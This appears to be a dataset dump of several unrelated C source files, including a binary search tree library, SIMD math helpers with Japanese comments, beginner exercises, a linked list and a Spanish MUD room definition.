bs_tree_node *_bs_tree_find_max_node(bs_tree_node *node)
{
bs_tree_node *max_node = node;
while (max_node->right != NULL) {
max_node = max_node->right;
}
return max_node;
}
bs_tree_node *_bs_tree_create_node(void *value)
{
bs_tree_node *node = malloc(sizeof(bs_tree_node));
if (!node) {
return NULL;
}
node->value = value;
node->parent = NULL;
node->left = NULL;
node->right = NULL;
return node;
}
void _bs_tree_insert_node(bs_tree *tree, bs_tree_node **node, bs_tree_node *parent, void *value, bs_tree_cmp cmp)
{
if (*node == NULL) {
bs_tree_node *new_node = _bs_tree_create_node(value);
new_node->parent = parent;
*node = new_node;
tree->len++;
return;
}
if (cmp(value, (*node)->value) < 0) {
_bs_tree_insert_node(tree, &(*node)->left, *node, value, cmp);
} else {
_bs_tree_insert_node(tree, &(*node)->right, *node, value, cmp);
}
}
void _bs_tree_traverse_node(bs_tree_node *node, bs_tree_cb cb)
{
if (!node) {
return;
}
_bs_tree_traverse_node(node->left, cb);
if (cb) {
cb(node->value);
}
_bs_tree_traverse_node(node->right, cb);
}
void _bs_tree_destroy_node(bs_tree_node *node)
{
if (!node) {
return;
}
_bs_tree_destroy_node(node->left);
_bs_tree_destroy_node(node->right);
free(node);
}
void _bs_tree_destroy_single_node(bs_tree_node *node, bs_tree_cb cb)
{
if (!node) {
return;
}
if (cb) {
cb(node->value);
}
free(node);
}
bs_tree_node *_bs_tree_update_parent_node(bs_tree_node *node_to_delete, bs_tree_node *node_to_move)
{
if (node_to_move) {
node_to_move->parent = node_to_delete->parent;
}
if (node_to_delete->parent) {
if (node_to_delete == node_to_delete->parent->left) {
if (node_to_move) {
node_to_move->parent->left = node_to_move;
} else {
node_to_delete->parent->left = node_to_move;
}
} else if (node_to_delete == node_to_delete->parent->right) {
if (node_to_move) {
node_to_move->parent->right = node_to_move;
} else {
node_to_delete->parent->right = node_to_move;
}
}
}
return node_to_move;
}
bs_tree *bs_tree_new(bs_tree_cmp cmp)
{
bs_tree *tree = malloc(sizeof(bs_tree));
if (!tree) {
return NULL;
}
tree->len = 0;
tree->root = NULL;
tree->cmp = cmp;
return tree;
}
void bs_tree_insert(bs_tree *tree, void *value)
{
if (!tree) {
return;
}
if (tree->root == NULL) {
bs_tree_node *node = _bs_tree_create_node(value);
if (!node) {
return;
}
tree->root = node;
tree->len++;
return;
}
_bs_tree_insert_node(tree, &tree->root, tree->root, value, tree->cmp);
return;
}
void bs_tree_delete(bs_tree *tree, void *value, bs_tree_cb cb)
{
if (!tree) {
return;
}
if (tree->root == NULL) {
return;
}
bool deleted_root = false;
bs_tree_node *node_to_delete = _bs_tree_find_node(tree->root, value, tree->cmp);
if (node_to_delete == NULL) {
return;
}
if (node_to_delete == tree->root) {
deleted_root = true;
}
// let's delete the node
if (node_to_delete->left == NULL && node_to_delete->right == NULL) {
// node with no children
bs_tree_node *new_root = _bs_tree_update_parent_node(node_to_delete, NULL);
if (deleted_root) {
tree->root = new_root;
}
_bs_tree_destroy_single_node(node_to_delete, cb);
} else if (node_to_delete->left == NULL && node_to_delete->right != NULL) {
// node with a right child
bs_tree_node *new_root = _bs_tree_update_parent_node(node_to_delete, node_to_delete->right);
if (deleted_root) {
tree->root = new_root;
}
_bs_tree_destroy_single_node(node_to_delete, cb);
} else if (node_to_delete->left != NULL && node_to_delete->right == NULL) {
// node with a left child
bs_tree_node *new_root = _bs_tree_update_parent_node(node_to_delete, node_to_delete->left);
if (deleted_root) {
tree->root = new_root;
}
_bs_tree_destroy_single_node(node_to_delete, cb);
} else if (node_to_delete->left != NULL && node_to_delete->right != NULL) {
// node with left and right children
bs_tree_node *replacement = _bs_tree_find_min_node(node_to_delete->right);
if (replacement->parent) {
if (replacement->parent->left == replacement) {
replacement->parent->left = NULL;
if (replacement->right != NULL) {
replacement->parent->left = replacement->right;
}
}
}
replacement->parent = node_to_delete->parent;
if (node_to_delete->parent != NULL) {
if (node_to_delete->parent->right == node_to_delete) {
node_to_delete->parent->right = replacement;
} else if (node_to_delete->parent->left == node_to_delete) {
node_to_delete->parent->left = replacement;
}
}
// using just the right node as the replacement
if (node_to_delete->right == replacement) {
replacement->right = NULL;
replacement->left = node_to_delete->left;
node_to_delete->left->parent = replacement;
} else {
replacement->right = node_to_delete->right;
replacement->left = node_to_delete->left;
node_to_delete->left->parent = replacement;
node_to_delete->right->parent = replacement;
}
if (deleted_root) {
tree->root = replacement;
}
_bs_tree_destroy_single_node(node_to_delete, cb);
}
tree->len--;
}
void *bs_tree_search(bs_tree *tree, void *value)
{
if (!tree) {
return NULL;
}
if (tree->root == NULL) {
return NULL;
}
bs_tree_node *node_found = _bs_tree_find_node(tree->root, value, tree->cmp);
if (!node_found) {
return NULL;
}
return node_found->value;
}
void *bs_tree_find_max(bs_tree *tree)
{
if (!tree) {
return NULL;
}
if (tree->root == NULL) {
return NULL;
}
bs_tree_node *max_node = _bs_tree_find_max_node(tree->root);
if (max_node == NULL) {
return NULL;
}
return max_node->value;
}
void *bs_tree_find_min(bs_tree *tree)
{
if (!tree) {
return NULL;
}
if (tree->root == NULL) {
return NULL;
}
bs_tree_node *min_node = _bs_tree_find_min_node(tree->root);
if (min_node == NULL) {
return NULL;
}
return min_node->value;
}
void bs_tree_traverse(bs_tree *tree, bs_tree_cb cb)
{
if (!tree) {
return;
}
if (tree->root == NULL) {
return;
}
_bs_tree_traverse_node(tree->root, cb);
}
void bs_tree_free(bs_tree *tree, bs_tree_cb cb)
{
if (!tree) {
return;
}
if (tree->root == NULL) {
return;
}
bs_tree_traverse(tree, cb);
_bs_tree_destroy_node(tree->root);
if (tree) {
free(tree);
}
}
|
C
|
struct pair
{
int n;
int x;
};
struct binarr
{
int size, end;
struct pair *p;
};
//create new empty array;
struct binarr *arrCreate();
//find element with KEY=key, log(n)-speed
int arrFind(struct binarr *arr, int key);
//add element to the end of array,returns on success number of element in the array, -1 otherwise
int arrPush_back(struct binarr *arr, int n, int x);
//frees all memory occupied by array
void arrFree(struct binarr *arr);
//sort array with qsort
void arrSort(struct binarr *arr);
//read paires "x:y" from file to array. returns array size on succes, -1 otherwise
int arrRead(const char *filename, struct binarr *arr);
|
C
|
#ifndef __X86_SIMD_UTIL_H__
#define __X86_SIMD_UTIL_H__
#ifdef __SSE__
#include <xmmintrin.h>
#endif
#ifdef __SSE2__
#include <emmintrin.h>
#endif
#ifdef __SSE3__
#include <pmmintrin.h>
#endif
#ifdef __AVX__
#include <immintrin.h>
#endif
// SIMD版数学系関数 ( SSE+SSE2使用 ) 4要素一気に計算する
extern __m128 log_ps(__m128 x);
extern __m128 exp_ps(__m128 x);
extern __m128 sin_ps(__m128 x);
extern __m128 cos_ps(__m128 x);
extern void sincos_ps(__m128 x, __m128 *s, __m128 *c);
#if defined(__AVX__)
// SIMD版数学系関数 ( AVX+AVX2使用 ) 8要素一気に計算する
extern __m256 mm256_sin_ps(__m256 x);
extern __m256 mm256_exp_ps(__m256 x);
extern __m256 mm256_cos_ps(__m256 x);
#endif
// exp(y*log(x)) for pow(x, y)
inline __m128 pow_ps( __m128 x, __m128 y ) {
return exp_ps( _mm_mul_ps( y, log_ps( x ) ) );
}
/**
* 22bit 精度で逆数を求める(4要素版)
* aの逆数 = 2 * a - rcpa * a * a を用いる
*/
inline __m128 m128_rcp_22bit_ps( const __m128& a ) {
__m128 xm0 = a;
__m128 xm1 = _mm_rcp_ps(xm0);
xm0 = _mm_mul_ps( _mm_mul_ps( xm0, xm1 ), xm1 );
xm1 = _mm_add_ps( xm1, xm1 );
return _mm_sub_ps( xm1, xm0 );
}
/**
* 22bit 精度で逆数を求める(1要素版)
*/
inline __m128 m128_rcp_22bit_ss( const __m128& a ) {
__m128 xm0 = a;
__m128 xm1 = _mm_rcp_ss(xm0);
xm0 = _mm_mul_ss( _mm_mul_ss( xm0, xm1 ), xm1 );
xm1 = _mm_add_ss( xm1, xm1 );
return _mm_sub_ss( xm1, xm0 );
}
/**
* 22bit 精度で逆数を求める(float版)
*/
inline float rcp_sse( float a ) {
float ret;
__m128 xm0 = _mm_set_ss(a);
_mm_store_ss( &ret, m128_rcp_22bit_ss(xm0) );
return ret;
}
#if defined(__AVX__)
/**
* 22bit 精度で逆数を求める(8要素版)
* aの逆数 = 2 * a - rcpa * a * a を用いる
*/
inline __m256 m256_rcp_22bit_ps( const __m256& a ) {
__m256 xm0 = a;
__m256 xm1 = _mm256_rcp_ps(xm0);
xm0 = _mm256_mul_ps( _mm256_mul_ps( xm0, xm1 ), xm1 );
xm1 = _mm256_add_ps( xm1, xm1 );
return _mm256_sub_ps( xm1, xm0 );
}
#endif
#if defined(__FMA__) || (defined(_MSC_VER) && defined(__AVX2__))
/**
* 22bit 精度で逆数を求める(8要素版)
* aの逆数 = 2 * a - rcpa * a * a を用いる
* FMA3 を使って、少し速くする 未確認
*/
inline __m256 m256_rcp_22bit_fma_ps( const __m256& a ) {
__m256 xm0 = a;
__m256 xm1 = _mm256_rcp_ps(xm0);
return _mm256_fnmadd_ps( _mm256_mul_ps( xm0, xm1 ), xm1, _mm256_add_ps( xm1, xm1 ) );
}
#endif
/**
* SSEで4要素の合計値を求める
* 合計値は全要素に入る
*/
inline __m128 m128_hsum_sse1_ps( __m128 sum ) {
__m128 tmp = sum;
sum = _mm_shuffle_ps( sum, tmp, _MM_SHUFFLE(1,0,3,2) );
sum = _mm_add_ps( sum, tmp );
tmp = sum;
sum = _mm_shuffle_ps( sum, tmp, _MM_SHUFFLE(2,3,0,1) );
return _mm_add_ps( sum, tmp );
}
#if defined(__SSE3__)
/**
* SSEで4要素の合計値を求める
* 合計値は全要素に入る
* SSE3 だと少ない命令で実行できる
*/
inline __m128 m128_hsum_sse3_ps( __m128 sum ) {
sum = _mm_hadd_ps( sum, sum );
return _mm_hadd_ps( sum, sum );
}
#endif
#if defined(__AVX__)
/**
* AVXで8要素の合計値を求める
* 合計値は全要素に入る
*/
inline __m256 m256_hsum_avx_ps( __m256 sum ) {
sum = _mm256_hadd_ps( sum, sum );
sum = _mm256_hadd_ps( sum, sum );
__m256 rsum = _mm256_permute2f128_ps(sum, sum, 0 << 4 | 1 );
sum = _mm256_unpacklo_ps( sum, rsum );
sum = _mm256_hadd_ps( sum, sum );
return sum;
}
#endif
#if defined(__AVX2__)
/**
* AVX2で16要素の合計値を求める
* 合計値は全要素に入る
*/
/*
inline __m256 m256_hsum_avx_epi16( __m256 sum ) {
sum = _mm256_hadd_ps( sum, sum );
sum = _mm256_hadd_ps( sum, sum );
return _mm256_hadd_ps( sum, sum );
}
*/
#endif
#endif
|
C
|
#include <stdio.h>
/**
* main - Entry point
*
* Return: Always 0 (Success)
*/
int main(void)
{
int num, num1, num2;
for (num2 = 0; num2 < 10; num2++)
{
for (num1 = 0; num1 < 10; num1++)
{
for (num = 0; num < 10; num++)
{
if ((num != num1) && (num > num1) && (num1 > num2))
{
putchar(num2 + '0');
putchar(num1 + '0');
putchar(num + '0');
if ((num2 == 7) && (num == 9) && (num1 == 8))
;
else
{
putchar(',');
putchar(' ');
}
}
}
}
}
putchar ('\n');
return (0);
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
typedef struct nodo{
int x;
struct nodo *next;
}Tnodo, *ptrNodo;
ptrNodo MakeNodo(int valor){
ptrNodo new = (ptrNodo) malloc(sizeof(Tnodo));
new->x = valor;
new->next = NULL;
return new;
}
ptrNodo insert(ptrNodo top, int valor){
ptrNodo current, temporal = NULL, new;
new = MakeNodo(valor);
current = top;
while(current != NULL && new->x > current->x){
temporal = current;
current = current -> next;
}
if(temporal == NULL){
new->next = top;
return new;
}
else{
temporal -> next = new;
new -> next = current;
return top;
}
}
void printList(ptrNodo top){
while(top != NULL){
printf("%d\n", top->x);
top=top->next;
}
}
int main(){
int numero;
ptrNodo top = NULL;
while(scanf("%d", &numero) && numero != 0){
top = insert(top, numero);
}
printList(top);
return 0;
}
|
C
|
/*
DESCRIPCION : Calle de Narad
FICHERO : /d/akallab/comun/habitacion/akallab/azzor/narad/calle05.c
MODIFICACION : 04-02-99 [Angor@Simauria] Creacion
--------------------------------------------------------------------------------
*/
#include "path.h"
#include AK_MACRO
inherit ROOM;
create() {
::create();
SetIntShort("la calle del pueblo de Narad");
SetIntLong(
"Te encuentras a la entrada del pequenyo pueblo de Narad. Oyes el ruido del "
"trabajo en la herreria que queda al este de aqui. Al oeste se encuentra la "
"destileria del pueblo, donde se fabrican bebidas. La cerveza y el vino de "
"esta zona son bien conocidos en la region. "
"El Camino del Este continua hacia el norte dejando atras el pueblo.\n");
AddDetail(({"pueblo","villa","Narad"}),
"Narad es el nombre de este pueblo. Es un pequenyo pueblo situado "
"en el suroeste del valle de Azzor, en su parte alta. Sus habitantes "
"se dedican basicamente a la agricultura y a la destilacion de bebida. "
"La cerveza y el vino de esta zona son bien conocidos en la region.\n");
AddDetail(({"Camino","camino","camino del este","camino del Este","Camino del Este"}),
"Es un importante camino que comunica el valle de Zarkam con los territorios del "
"valle de Azzor en la costa este de la peninsula orca de Aguliuk.\n");
SetIntNoise("Oyes el ruido del trabajo en la herreria.\n");
SetIntSmell("No huele a nada en especial.\n");
SetLocate("villa de Narad");
SetIndoors(0);
AddExit("norte",AZ_CAMINO("camino01"));
AddExit("este",NARAD("herreria"));
AddExit("oeste",NARAD("destil00"));
AddExit("sur",NARAD("calle04"));
}
|
C
|
#include<stdio.h>
long long giaiThua(int n){
int i;
long long s=1;
for(i=1;i<=n;i++){
s*=i;
}
return s;
}
// tinh x^n
double mu(double x,double n){
int i;
double s=1;
for(i=0;i<n;i++){
s *= x;
}
return s;
}
void fen(double x, double y, int n){
int i;
double s=x,a,b,c,d;
for(i=0;i<=n;i++){
s = s + mu(-1, i)* ((mu(x,2*i +2) * mu(y, 2*i + 1)) / giaiThua(2*i+1)) ;
}
printf("%lf",s);
}
int main()
{
double x,y;
int n;
printf("Enter x: ");
scanf("%lf",&x);
printf("Ente y: ");
scanf("%lf",&y);
printf("Enter n: ");
scanf("%d",&n);
fen(x,y,n);
return 0;
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.